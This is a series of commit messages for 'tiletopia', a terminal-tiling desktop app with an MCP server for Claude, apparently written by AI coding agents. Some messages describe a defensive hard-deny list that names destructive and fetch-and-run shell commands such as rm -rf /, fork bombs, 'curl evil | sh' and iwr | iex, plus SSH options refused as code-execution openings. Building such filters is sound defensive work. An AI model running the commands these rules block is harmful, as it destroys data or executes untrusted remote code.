The DOM renderer draws the cursor as a separate layered element; under
the Claude TUI's rapid cursor hide/show plus cursorBlink it leaves a
stale white block frozen where the cursor used to be. Load
@xterm/addon-canvas (composites the cursor into the text surface) with a
try/catch that falls back to the DOM renderer on init failure. Canvas
over WebGL because tiletopia runs many panes and WebView2 caps live
WebGL contexts (~16).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The at-a-glance highlights list omitted the two headline 0.4.0 features
(tabs and multi-window pane transfer); body sections already covered them.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Pre-release audit finding: after `unlistenData = await onPaneData(...)` (and
the exit listener) there was no destroyed re-check, so if the pane unmounted
during the await the sync cleanup captured a null unlisten and the
pane://{id}/data subscription leaked. Unlisten before returning in both the
adopt and spawn paths.
Also logs the deferred (low-risk) transfer-refcount leak as a known follow-up.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- window_state.rs: persist only the main window's workspaces. The aggregator
flattened every window's tabs into the saved file; main then adopted the
whole blob on launch, so detached windows' ephemeral tabs (and Pane N
drag-out artifacts) accumulated without bound.
- TabStrip: portal the close-confirm popover to <body> with fixed,
viewport-clamped positioning so the horizontally-scrolling strip can't clip
it and it never runs off a window edge.
- styles.css: make themed ::-webkit-scrollbar global, not just xterm viewport.
- LeafPane: B1 drag-out ghost chip (portal, edge-pinned, orange detach state).
- App.tsx: moveToNewWindow waits briefly for pane registration instead of
failing instantly on an in-flight spawn/adopt.
- gitignore cargo-test.lo*.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- capabilities/default.json: extend window scope to "pane-window-*" so
detached windows can invoke/listen (fixes blank panes B2-B5).
- App.tsx: memoize the destructive take_pending_window_init read at module
scope so React StrictMode's double mount-effect doesn't consume the
transfer payload twice and lose the adopted PTY session.
- lib.rs: add `use tauri::Manager;` for Window::app_handle() in on_window_event.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Tauri keeps the crate in src-tauri/; cargo check from the project root
fails with "could not find Cargo.toml". Caught by the user after I
suggested the wrong cd. Added a preflight-checks rule to global
~/claude/CLAUDE.md so this generalises.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Documents architecture (Rust-side transferring refcount; backend-aggregated
save; scrollback ring replay), the load-bearing Tauri facts (process-wide
event routing, shared PtyManager), and the verification steps still needed
on the Windows host.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Extends the existing header-drag gesture (which swaps panes inside
the window) with an "outside the window" case: release the drag more
than 60px past any viewport edge and the pane detaches into a new
window via the same moveToNewWindow path the right-click menu uses.
The 60px slop avoids triggering on accidental release over the OS
titlebar / window chrome — without it any drag that ended above
clientY=0 would fire as a detach, which is wrong because that area is
still inside the user's window.
No backend changes — Phase 2's transfer mechanism already handles
everything; this just wires a second entry point.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Right-click any pane's title bar → "Move to new window" pops it into a
fresh tiletopia window with its PTY intact. Same Tauri process; the
PtyManager is shared, so the existing PaneId stays valid and Tauri 2's
process-wide event routing keeps pane://{id}/data flowing into the new
window's XtermPane.
Mechanism (Rust-side, plan-agent's main correction over my draft):
- pty.rs: PtyManager.transferring is a per-pane refcount; kill_pane
becomes a no-op while it's >0. Source window's React unmount calls
kill_pane → silently dropped while in flight; target window's
claim_pane decrements after it has subscribed.
- window_state.rs: per-window workspaces snapshot map +
debounced-by-tokio aggregate save. Each window pushes its tabs via
push_window_workspaces; backend writes the merged
{ version: 2, workspaces: [...] } envelope. Non-main windows have
their entries dropped on CloseRequested so closing a detached window
discards its tabs (Chrome-style).
- commands: mark_pane_transferring, claim_pane, get_pane_ring (base64
scrollback ring snapshot), create_pane_window, take_pending_window_init,
push_window_workspaces.
Frontend:
- XtermPane gets `existingPaneId?: PaneId`: skip spawn, replay ring
snapshot via term.write before attaching the live data listener,
resize PTY to this window's grid, claim_pane. Scrollback replay was
the plan agent's other ship-in-v1 call — without it a transferred
Claude session looks blank until next prompt repaint.
- LeafPane: onContextMenu opens a fixed-positioned "Move to new
window" popover. Esc / outside-click dismiss.
- orchestration adds moveToNewWindow + getInitialPaneIdFor; App owns a
one-shot transferredPaneIdsRef cleared in registerPaneId.
- App mount branches on getCurrentWebviewWindow().label: main loads
workspace.json as before; non-main calls take_pending_window_init
and builds a singleton workspace around the adopted leaf.
- MCP mirror + onMcpRequest only run in main (paneIdByLeafRef is per-
window; Claude sees the main window's current tab as the single
workspace surface).
pnpm check (tsc -b) clean. 79/79 vitest pass. Rust side authored in
WSL; cargo build needs verification on Windows host before this is
runnable.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Each tab is an independent tile tree; PTYs in non-active tabs keep
running (render-all-panes with visibility:hidden on inactive layers
so xterm.js's fit() still sees valid dimensions and the existing
per-pane resize dedupe absorbs no-op SIGWINCHes).
workspace.json shape goes from a bare TreeNode to
`{ version: 2, workspaces: [{ id, name, tree }] }` with a legacy v1
auto-wrap migration (the old single tree becomes one tab named
"Default").
App.tsx wraps the old single-tree state in workspace-aware state
but keeps `tree` / `setTree` / `activeLeafId` / `setActiveLeafId` as
identity-stable derived wrappers (reading currentWorkspaceId from a
ref), so the bulk of App.tsx stays unchanged.
XtermPane's initial term.focus() now checks `visibility !== "hidden"`
on the container so a pane mounting inside a hidden tab on app boot
doesn't yank focus away from the active tab. The focus poller is
scoped to the active workspace layer for the same reason.
Shortcuts: Ctrl+T new tab, Ctrl+Shift+T close current (window.confirm
when there are live panes), Ctrl+PageDown/PageUp navigate, Ctrl+1..9
switch to tab N. README + help overlay auto-generated from
shortcuts.ts.
79/79 vitest pass (7 new envelope-migration cases). tsc -b clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Closes out the session that took MCP from read-only v1 → full write
surface in v0.3.0. Notes the four release-time hiccups (tsc -b
narrowing miss, rm -rf src-tauri/target wiping the installer, pnpm
install hang from WSL, separate Cargo.lock commit) with fixes shipped
and a clean recipe for the next release.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
`pnpm run build:mcpb` triggers an implicit `pnpm install` first to
verify node_modules against the lockfile. From WSL against the
/mnt/d/ Windows filesystem that node_modules walk hangs for minutes.
The build-mcpb.mjs script is pure Node + fs (no deps) so we can just
invoke it directly. Saves the pnpm wrapping overhead on every release.
Caught during the v0.3.0 release run.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
`tsc --noEmit` and `tsc -b` apply slightly different narrowing rules
on project-reference codebases — the prior check missed the spawn_pane
hostId narrowing bug (commit e1ceaab) that pnpm build immediately
flagged. Both tsconfig.app.json and tsconfig.node.json already set
`noEmit: true`, so `tsc -b` does no emission — the only difference
is build-mode dependency tracking + slightly stricter type checks.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
buildConfirmInfo's spawn_pane case used `a.spec!.hostId` inside a
hosts.find() callback, which compiles under tsc --noEmit (what
pnpm check runs) but fails under tsc -b (what pnpm build runs):
the non-null assertion drops the kind==="ssh" narrowing the parent
ternary had established, so .hostId can't be resolved against the
WSL/PowerShell variants of the union.
Fix: bind a.spec to a local const inside the narrowed if-block so
the closure carries the SSH variant through.
Caught by pnpm tauri build during v0.3.0 release prep.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three of the four dead-code warnings (`ClassifierHint`, `PolicyClassifier`,
`NoopClassifier`) were the v2.1 classifier scaffold sitting unused since
PR-1. Deleted — being unused for weeks was a stronger "no concrete plan"
signal than its presence was a "TODO" signal. Trivial to re-add when we
actually do the classifier (v0.4.0 candidate).
Fourth warning was rmcp's `#[tool_router]` macro generating internal
references to a `tool_router` field on TileService that rustc's dead-code
pass can't see through. Added `#[allow(dead_code)]` with a brief comment
on why.
`cargo build` is now clean of the four standing dead-code warnings.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Several sections were stale:
- Top feature list missing SSH host support, PowerShell, MCP, drag-to-swap.
- MCP section still claimed "v1 is read-only" — actually shipped 10 write
tools (PR-1 through PR-4 today) plus three-tier policy engine, audit log,
SSH safeguards, extraArgs sanitiser, and 14 compiled-in hard-deny patterns
(with the rule-set rework that fixed the 9-of-10-rules-don't-actually-fire
bug). Added a per-tool table.
- Test counts were 43 vitest cases; actual is 72 (frontend) + 138 (Rust).
Added the `cargo test --lib` recipe and pointer to scripts/pr4-verify.mjs.
- Architecture section now covers hosts.rs / creds.rs / mcp.rs / mcp_policy.rs
alongside pty.rs and the layout tree.
Marker block (auto-generated from shortcuts.ts) untouched.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The McpPanel's "Download .mcpb" button opens the Forgejo release page,
so the asset has to actually be there. release.sh now runs
`pnpm run build:mcpb` and attaches `dist-mcpb/tiletopia.mcpb` as a
second --asset to `tea releases create`.
Closes B's mcpb-into-release follow-up. Next release tag will have a
working one-click Claude Desktop install path.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Reverts in one combined commit:
- 9931a92 (inline pane_id + watch list into bash script)
- 6772b8d (pivot per-distro → per-pane via TILETOPIA_PANE_ID env)
- f51033a (original per-distro idle filter)
End-to-end probe never worked correctly against the real running app
even after fixing the wsl.exe-drops-positional-args bug. Probe script
ran fine in isolation but kept returning false-negative when called
through tiletopia's wsl.exe spawn. Rather than keep iterating, back
out cleanly — pane behaviour is now the original "go idle after 5s of
silence regardless of what's running."
memory.md session log notes the lessons for a future retry: don't ship
per-distro again (CLAUDE.md explicitly says multi-claude-per-distro is
the primary use case); prove the probe end-to-end before wiring into
the idle effect (a "Test probe" button in MCP panel would have caught
this in minutes).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Root cause of "filter never suppresses": passing the target pane_id and
watch names as positional args to `bash -c "..." _ <id> <names>` had
them silently dropped by wsl.exe's arg-passing layer. Inside bash, $1
and $@ were empty — the script always looked for `TILETOPIA_PANE_ID=`
(no value), found nothing, exited 1.
Fix: format the script string in Rust with pane_id and watch names
already substituted. No positional args to bash → nothing for wsl.exe
to drop. Both inputs are safe to inline (u64 and a compile-time const
list); validation needed if user-supplied watch names ever land here.
Two unit tests guard against regressing to the positional-arg shape.
Also dropped the diagnostic info!() spam added during debugging — back
to debug! in the happy path, single concise probed= line on each cache
miss.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Per-distro suppression (shipped earlier today) broke tiletopia's primary
use case — multiple claude panes per distro means as soon as one runs
claude, ALL Ubuntu panes go silent. Tested live: user couldn't reproduce
idle on any pane because PID 46848 (their main session) tripped the gate.
New mechanism, per-pane via env-var marker:
1. pty.rs tags every WSL spawn with TILETOPIA_PANE_ID=<id> as a Windows
env var, plus WSLENV=...TILETOPIA_PANE_ID/u (appended to any pre-
existing WSLENV) so the var forwards into the distro. Pane id is now
reserved BEFORE build_command so the tag is available at spawn time.
2. probe.rs rewritten — is_watch_process_running(distro, pane_id) runs
a bash one-liner that pgreps for each watched name, then for each PID
checks /proc/<pid>/environ for the matching TILETOPIA_PANE_ID line.
Env inheritance does the work: shell inherits from wsl.exe, claude
inherits from shell. Cache keyed by (distro, pane_id).
3. Fail-safe INVERTED: probe failure now returns false (don't suppress)
instead of true (suppress). A transient error should never silence
the idle indicator permanently. Frontend catch updated to match.
4. LeafPane tracks PaneId in paneIdRef set by onPaneSpawned; idle ticks
before spawn-completion pass 0, which won't match any real marker so
the pane idles normally.
Existing panes won't have the marker until respawned — they'll always
show idle (since probe never matches). User opens fresh panes once after
deploying this. Documented in memory.md follow-ups.
pnpm check clean. Rust validation: cargo test --lib on Windows.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Auto-merge of the .mcpb commit captured the new tip body in shortcuts.ts
but left the old text inside the README's <!-- SHORTCUTS:START --> block.
Running pnpm gen:readme syncs them — proves the new workflow.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
New scripts/build-mcpb.mjs packs a Claude Desktop extension bundle
(scripts/mcpb-wrapper.mjs + manifest + icon) into dist-mcpb/tiletopia.mcpb.
The wrapper reads the bearer token from %APPDATA% at launch and execs
`npx -y mcp-remote`, so no secrets are baked in and Regenerate keeps
working transparently. Run via `pnpm run build:mcpb`.
McpPanel gets a "Download .mcpb" button linking to the releases page; the
help-overlay tip and README MCP section both lead with the bundle install
path and keep the .mcp.json shim recipe as the Claude Code fallback.
Session-log entry in memory.md covers the design choices, especially why
the wrapper-script approach beat the alternatives (user_config prompt
would defeat one-click; baked-in token would be wrong for everyone else).
The shortcuts table in README was hand-maintained and kept drifting from
src/lib/shortcuts.ts (the data the in-app help overlay reads). Replace the
table with a marker block (<!-- SHORTCUTS:START --> ... <!-- SHORTCUTS:END -->)
populated by scripts/gen-readme-shortcuts.mjs. Includes TIPS too, not just
shortcuts. Script is plain Node + fs (no tsx/esbuild dep); reads shortcuts.ts
as text, strips TS type syntax, dynamic-imports the resulting .mjs.
Adds `pnpm gen:readme` script and a `--check` mode that exits 1 on drift
(for future CI wiring). Idempotent.
Probes wsl.exe -d <distro> -- pgrep -x claude before flagging a WSL pane
idle, with a 3s per-distro cache on the Rust side. If claude is running
anywhere in the distro, all panes in that distro stay out of the idle set
(per-pane granularity is out of scope — PIDs aren't observable from
Windows). PowerShell + SSH panes skip the probe and keep the legacy
always-notify behaviour.
Four new compiled-in hard-deny rules covering PowerShell + cmd.exe
catastrophic patterns (mirror of the POSIX 10):
- Remove-Item / del / rd / ri / rm / erase / rmdir targeting C:\
or user home / appdata
- Format-Volume / Clear-Disk with any flag (= an invocation, not a
Get-Help lookup)
- iwr | iex pipe form (PowerShell web-to-execute)
- iex (irm ...) parenthesized form
Universal application — no shell-aware scoping yet. PS cmdlet
identifiers are distinctive enough that bash false-positives are
vanishingly unlikely. Shell-aware policy scoping remains a known
follow-up.
Drift-proof the "Always blocked" label list: backend now exposes
hard_deny_rules() via a new mcp_hard_deny_labels Tauri command, and
PolicyTab loads it at mount instead of hardcoding the list. Avoids
the 11→15 manual sync that would have been needed (and that had
already drifted twice this week).
cargo test --lib: 138 passed; 0 failed (118 prior + 20 new fuzz
cases for rules 11-14; hard_deny_rules_count bumped 10 → 14).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Drives the running MCP server through real HTTP transport to verify the
PR-4 surface end-to-end: safeguard refusal, extraArgs sanitiser, happy
path (with hosts.json side-effect check), delete_host cleanup. Reads
bearer token from %APPDATA%\com.megaproxy.tiletopia\mcp.json, snapshots
+ restores mcp-policy.json so the user's settings survive the run.
Run from D:\dev\tiletopia (Windows host, with the dev app + MCP server
running):
node scripts/pr4-verify.mjs
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Stack line was stale since the React migration in commit 774b863 (0.2.0).
Also updates the `pnpm check` parenthetical from svelte-check to
tsc --noEmit, which is what the script actually runs now.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
PowerShell `cargo test ... *> ..\cargo-test.log` artifact from manual
test runs on the Windows host. Same shape as the existing dev.log /
screen*.png scratch entries.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Re-enabling the policy test module in PR-4 (the policy_with compile fix)
exposed 16 pre-existing failures: 14 real bugs, 2 wrong assertions.
is_hard_denied is now two-pass — whole-input first, then per-subcommand.
The subcommand splitter was tearing apart patterns whose meaning needs
their | / & to stay intact: fork bomb (:|:&) and curl-piped-to-shell.
Result was that 9 of the 10 advertised hard-deny rules quietly didn't
enforce against their own canonical examples.
Regex fixes:
- Rule 1/2 flag class [a-z] → [a-zA-Z]: catches `rm -Rf /`.
- Rule 1/2 trailing anchor accepts # so a trailing comment can't smuggle
the danger past detection.
- Rule 8 shell alternation gains bare `sh` — `curl evil | sh` (most
common form) was not previously caught because `ba?sh` required `b`.
- Rule 9 anchor tightened: `/` must be followed by a path boundary,
end-of-input, or shell operator. `chmod -R 777 /tmp` no longer false-
positives (still destructive, but a deliberate user scope choice).
Two test assertions flipped to is_none(): hard_deny_quoted_pattern_not_
matched and hard_deny_git_grep_contains_pattern. The originals expected
false-positives on echo'd / grep'd danger strings. The post-fix behaviour
of NOT flagging these is correct UX: searching for or printing a danger
string is not the same as invoking it.
cargo test --lib: 118 passed; 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Final v2 PR. All 11 planned write tools live. add_host/delete_host let
Claude mutate the saved-hosts list; both gated by a new allowAddHost
switch (default off) — symmetric with the allowOpenSsh gate from PR-3.5.
add_host's extraArgs are sanitised against CVE-2023-51385-class
local-RCE primitives: ProxyCommand, LocalCommand, KnownHostsCommand,
PermitLocalCommand=yes are refused server-side. Recognises both -o KEY=VAL
and -oKEY=VAL, case-insensitive on the key. The manual host manager UI
stays unrestricted (user has full agency over their own hosts).
Also fixes a pre-existing compile bug: mcp_policy.rs's policy_with test
helper was missing the ssh_safeguards field added in PR-3.5, silently
breaking the entire policy test module since then. Re-enabling those
tests is the prereq for the hard-deny rework that follows in the next
commit.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Document the spawn-completion oneshot chain, the rate limiter,
SSH-extra confirm banner, two-switch SSH safeguards, the
spawn_pane SSH-schema split, instructions refresh, and the host
manager Connect button. Plus the four cross-IPC integration bugs
(Emitter trait, McpError 'static, StrictMode listen() race,
rename_all camelCase) and the ErrorBoundary that caught the last
one. Open follow-ups in priority order.
Three small things bundled from PR-3 verification:
1. Split SSH out of mcp.spawn_pane schema. New McpSpawnSpec enum
(Wsl | Powershell only) used for SpawnPaneArgs, so Claude's
spawn_pane tool description and JSON schema show only the local
shells. SSH must go through connect_host. The internal
pty::SpawnSpec is unchanged — the frontend's manual spawn path
via XtermPane still supports all three variants. Previously
spawn_pane(kind=ssh) was a half-broken path that required `host`
as a separate mandatory field even when hostId was given;
serde-rejected the natural "spawn to a saved host" call shape.
2. Refresh the MCP server's `with_instructions` text and the
module-level header comment. Both still claimed "read-only v1"
long after the v2 write surface landed, which was making Claude
refuse to attempt tools on first contact ("the server has
flagged itself as read-only..."). The instructions now describe
the actual tool set, the SSH-via-connect_host convention, and
the policy/safeguards gates so Claude doesn't have to infer.
3. Add a "Connect" button to the SSH hosts manager. Previously
the dialog only had Edit — users (rightly) expected clicking a
saved host to spawn an SSH pane to it. New onConnect callback
does the splitLeaf + smart-orient dance and closes the manager.
Buttons wrapped in a flex container so the row's
space-between layout doesn't strand the new button mid-row.
Three of the highest-power v2 tools, plus a defense-in-depth pass
on SSH-specific risk.
write_pane sends keystrokes (or any bytes) to a pane's PTY. The
policy engine matches against the text content directly so rules
like write_pane(npm test*) match by what would run, and the
compiled-in hard-deny catches rm -rf /, fork bombs, etc. regardless
of policy. Per-pane token-bucket rate limiter (30 calls / 10s,
3/sec refill) prevents a runaway loop from spamming the user with
confirm modals or burning audit-log capacity. The frontend handler
truncates the text in modal/audit summaries to ~60 chars + escapes
control characters so secrets pasted into write_pane don't echo
verbatim into the UI.
spawn_pane mirrors the existing SpawnSpec enum (WSL distro,
PowerShell, SSH) as the tool schema. New splitLeafWith helper
inserts a caller-built LeafNode (with a pre-generated id) so the
handler can await waitForPaneRegistration on that exact leaf before
replying with the resulting {leafId, paneId}. 15s spawn timeout
covers cold-start WSL distros; 30s for connect_host covers SSH
handshake + auth. Outer dispatch timeout bumped 30s → 60s. SSH
spawns without a saved hostId are refused — LeafNode only persists
sshHostId, no inline params, so use connect_host.
connect_host is a thin wrapper that looks up a saved SSH host by
id and routes through the same spawn machinery.
McpConfirm.tsx gains an optional ssh context — when the call
targets or spawns an SSH pane, a red warning banner renders
explaining that pattern matching is best-effort on the bytes we
send (remote shell expands aliases/subshells before executing).
buildConfirmSummary became buildConfirmInfo and returns the SSH
context alongside the summary string.
PR-3.5 — SSH safeguards. Two new switches in the Policy tab,
both off by default, both gated by mcp_policy::SshSafeguards:
allowOpenSsh: when off, connect_host and spawn_pane(kind=ssh)
refuse server-side with a clear "ssh-disabled" message pointing
at the Policy tab. User must open SSH manually via the titlebar
🔑 picker and toggle 🤖 on to grant Claude access.
autoAllowSpawnedSsh: when off, an SSH pane Claude spawns starts
with mcpAllow=false. User must explicitly toggle 🤖 before
Claude can read scrollback or send keystrokes. The second switch
is disabled in the UI when the first is off.
The safe-by-default design means a fresh install gives Claude no
ability to autonomously touch SSH — full safety with one click per
level to enable when consciously wanted. Both switches read fresh
per call so policy edits take effect without a server restart.
ErrorBoundary.tsx — last-resort guard against React render
exceptions. Wraps the App root + each MCP panel tab independently
so a bug in one tab doesn't blank the entire app. Shows a small
red error card with the exception message and a "Try again"
button. Caught a serde rename_all bug during PR-3.5 testing where
PolicyTab read policy.sshSafeguards but Rust serialized
ssh_safeguards (snake_case); without the boundary the whole window
went black.
newId() now exported from tree.ts for the splitLeafWith path.
McpPolicy struct gained #[serde(rename_all = "camelCase")] so
sshSafeguards survives the IPC round-trip cleanly; older policy
files without the field still load (serde defaults to safe).
Note the require_visible_leaf factor-out, the non-interactive
data-loss handling for apply_preset, and PresetName as a typed
enum so the tool schema gives Claude autocomplete.
Four more tree-shape tools routed through the existing dispatcher
+ confirm modal + audit log. All take leaf_id args (single or pair)
that must be MCP-allowed via the per-pane chip; apply_preset takes
a typed PresetName enum (single, two_columns, three_columns,
two_rows, two_by_two) plus an allow_drops boolean.
apply_preset's data-loss case is handled non-interactively: if the
preset has fewer slots than the current pane count and allow_drops
is not set, the frontend handler throws with a descriptive message
listing the leaf labels that would be killed, so Claude can decide
whether to retry with allow_drops=true rather than the user being
ambushed by a destructive confirm modal.
promote_pane errors with "no perpendicular split above it" when the
parent shares orientation with the grandparent (same condition the
Ctrl+Shift+P shortcut uses to toast a no-op).
Extracted a require_visible_leaf helper on TileService since 4+ of
the v2 tools now do the same mirror-presence + cloned-metadata
check. Same args_repr convention as set_label so policy rules like
"close_pane" (bare tool name) work uniformly.
Document the fan-out approach (3 Sonnet agents + 1 Haiku), the
event/reply RPC pattern, the 10 hard-deny rules and their caveats,
the audit + confirm + Always-Allow UX, and the four integration
bugs worth remembering (Tauri 2 Emitter trait import, McpError
'static strings, React 18 StrictMode listen() race, lifting the
audit subscription out of AuditTab).
App.tsx now listens on "mcp://request" and resolves each call:
needsConfirm=true queues a confirm modal (Accept/Reject, or
"Always allow <tool>" which appends the bare tool name to the
policy's allow bucket on the fly); needsConfirm=false runs straight
through. Replies via mcp_action_reply with externally-tagged
Result. The only wired-up tool for now is set_label, which delegates
to the existing ops.setLabel path.
McpConfirm.tsx (new) — themed amber-bordered modal sibling to the
existing overlays. Enter = accept, Esc = reject. Shows tool, the
policy reason that triggered the prompt, a human-readable summary
("Rename pane X → Y"), and an expandable raw-args section.
Audit log: subscription lifted from AuditTab up to App.tsx so events
fired while the panel is closed (or on Config/Policy tab) still land
in the ring. AuditTab becomes presentational; McpPanel forwards
entries + clearAudit + computes the unread badge from a baseline
seen-count.
StrictMode race fix: both new App-level listeners (mcp://audit and
mcp://request) use the cancelled-flag pattern so a late-resolving
listen() Promise after a strict-mode pretend-unmount tears itself
down instead of leaking a second subscription. Previously this
manifested as duplicate audit rows and a need-to-click-twice on
modal buttons.
Foundation for Claude-drives-the-workspace writes. Nothing wired
end-to-end yet (App.tsx dispatcher comes next); this lands the
machinery + UI.
mcp_policy.rs (new) — three-tier allow/ask/deny policy with
deny-first precedence and a compiled-in non-overridable hard-deny
list (10 patterns covering rm -rf /, fork bombs, mkfs on device, dd
to raw disk, /etc/passwd overwrite, curl|sh, chmod -R 777 /, etc.).
Shell-operator-aware glob matcher mirroring Claude Code's Bash(*)
syntax. Restrictive default — empty policy means every non-hard-
denied call falls to Ask. Persisted to mcp-policy.json in
app_config_dir. Includes a PolicyClassifier scaffold (no-op) for a
future v2.1 LLM-classifier hook. 1152 lines incl. ~100 unit + fuzz
tests covering the matchers and lookalike negatives.
mcp.rs — TileService now holds AppHandle + Arc<PendingActions>
(oneshot registry keyed by uuid). New async dispatch_action helper
runs the policy check, emits "mcp://request" for the frontend to
handle, awaits a oneshot reply (30s timeout), then emits "mcp://
audit" with the outcome regardless. set_label tool wired through
this path as the demo for PR-1b's dispatcher.
commands.rs / lib.rs — new Tauri commands mcp_action_reply,
mcp_policy_load, mcp_policy_save; PendingActions registered as
managed state.
McpPanel.tsx — refactored into Config / Audit / Policy tabs.
AuditTab listens on mcp://audit, keeps a 200-entry ring with
ok/denied/failed chips. PolicyTab edits the allow/ask/deny buckets
(stacked vertically — three columns overflowed the panel) and shows
the hard-deny rules read-only at the bottom with "Cannot be
disabled" badges. Themed scrollbar on mcp-body to match xterm panes.
Caveat: set_label calls from Claude will currently time out — the
App.tsx side that listens on mcp://request and replies via
mcp_action_reply lands in PR-1b.
Co-authored by Sonnet (policy engine, backend plumbing, panel UI)
and Haiku (hard-deny fuzz test suite); integration + bug fixes here.
Document the five-layer breakage we unwound (WDF block rules, rmcp
host allowlist, our middleware intercepting OAuth probes, Claude Code
ignoring static bearer, mcp-remote --allow-http) and the working
stdio-shim recipe.
Port (default 47821) and bearer token now persist to mcp.json with
OS-picked fallback if the port is taken; new Regenerate button in the
panel rotates the token and restarts the running server. rmcp's
DNS-rebinding host allowlist is disabled so WSL gateway IPs can
connect (bearer-auth handles the gatekeeping); the auth middleware
only enforces on /mcp paths so OAuth-discovery clients don't see a
Bearer challenge on /.well-known/* probes.
Claude Code's HTTP-MCP client currently tries OAuth and ignores
static `headers` auth (anthropics/claude-code#17152, #46879), so the
panel + README config snippet now uses `npx mcp-remote` as a stdio
shim that proxies the HTTP endpoint with the bearer baked in.
memory.md still said Svelte 5; migration to React 18 happened in
774b863. Also log this session's investigation, fix, and the
follow-up about CLAUDE.md still needing the same update.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- Collapse the inline distro buttons + PowerShell + 🔑 SSH hosts into
a single 'Ubuntu ▾' dropdown (WSL distros + PowerShell sections),
with 🔑 as a separate icon-only button.
- Collapse the 5 preset buttons into a 'layout ▾' dropdown.
- Add a '+' button next to the shell picker that spawns a new pane of
the picked shell by splitting the active pane (smart orientation:
splits right if wide, down if tall). Per-pane ⇥/⇣ arrows still
inherit from parent — only '+' uses the titlebar selection.
- Drop the 🔔 test-toast button.
- Drop overflow:hidden from titlebar + pane toolbar so dropdowns
aren't clipped; height lock + nowrap still prevent the reflow bug.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
When the window or a pane was narrow, button text could wrap inside
flex items, growing the toolbar by ~16px. That shrank .pane-wrap →
ResizeObserver fired on every xterm → fit() reflowed text. Idle
detection toggling " · N idle" in the titlebar was enough to flap a
button across its wrap threshold every few seconds.
Lock both bars to fixed heights with white-space:nowrap, flex-shrink:0
on children, and overflow:hidden. Items that don't fit clip silently
instead of wrapping.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
